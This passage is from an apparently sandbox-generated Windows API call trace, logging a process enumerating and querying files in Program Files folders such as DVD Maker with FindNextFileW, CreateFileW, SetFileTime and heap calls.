cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0065.941] GetLastError () returned 0x12 [0065.941] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.941] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0065.941] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0065.941] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.941] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0065.941] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0065.941] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0065.941] GetLastError () returned 0x12 [0065.941] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0065.941] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0065.941] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c518) returned 1 [0065.941] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0065.941] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0065.941] GetLastError () returned 0x12 [0065.941] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0065.941] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0065.942] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0065.942] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0065.942] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0065.942] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="")) returned 1 [0065.942] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0065.942] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker" (normalized: "c:\\program files\\dvd maker"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0065.942] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker" (normalized: "c:\\program files\\dvd maker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0065.942] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0065.942] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb8d10 [0065.942] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb8d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xfb8d10, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0065.942] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8d10) returned 1 [0065.942] NtClose (Handle=0x17c) returned 0x0 [0065.942] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0065.942] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0065.942] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0065.942] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0065.942] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d0a0 [0065.942] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.943] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7236dfa0, ftCreationTime.dwHighDateTime=0x1d5aae1, ftLastAccessTime.dwLowDateTime=0x3eab23f0, ftLastAccessTime.dwHighDateTime=0x1d5757e, ftLastWriteTime.dwLowDateTime=0x3eab23f0, ftLastWriteTime.dwHighDateTime=0x1d5757e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ati.exe", cAlternateFileName="")) returned 1 [0065.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.943] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.943] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.943] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.943] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0065.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.943] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.943] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4400 [0065.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7740 [0065.943] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.943] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5579e0, ftCreationTime.dwHighDateTime=0x1d574cc, ftLastAccessTime.dwLowDateTime=0xfeab9470, ftLastAccessTime.dwHighDateTime=0x1d573b5, ftLastWriteTime.dwLowDateTime=0xfeab9470, ftLastWriteTime.dwHighDateTime=0x1d573b5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0065.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.943] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.943] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.943] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.943] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0065.943] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.944] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.944] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.944] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.944] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.944] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4420 [0065.944] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7630 [0065.944] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.944] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0065.944] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.944] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.944] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.944] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.944] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.944] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4440 [0065.944] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0065.944] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.944] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0065.944] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0065.944] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb99a750, ftCreationTime.dwHighDateTime=0x1d550a1, ftLastAccessTime.dwLowDateTime=0x95a455b0, ftLastAccessTime.dwHighDateTime=0x1d58e5f, ftLastWriteTime.dwLowDateTime=0x95a455b0, ftLastWriteTime.dwHighDateTime=0x1d58e5f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="")) returned 1 [0065.944] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0065.944] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0065.944] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0065.944] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0065.944] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43aceae0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1cc000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipeTran.dll", cAlternateFileName="")) returned 1 [0065.944] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae41910, ftCreationTime.dwHighDateTime=0x1d56ee3, ftLastAccessTime.dwLowDateTime=0xd069a940, ftLastAccessTime.dwHighDateTime=0x1d56e8c, ftLastWriteTime.dwLowDateTime=0xd069a940, ftLastWriteTime.dwHighDateTime=0x1d56e8c, nFileSizeHigh=0x0, 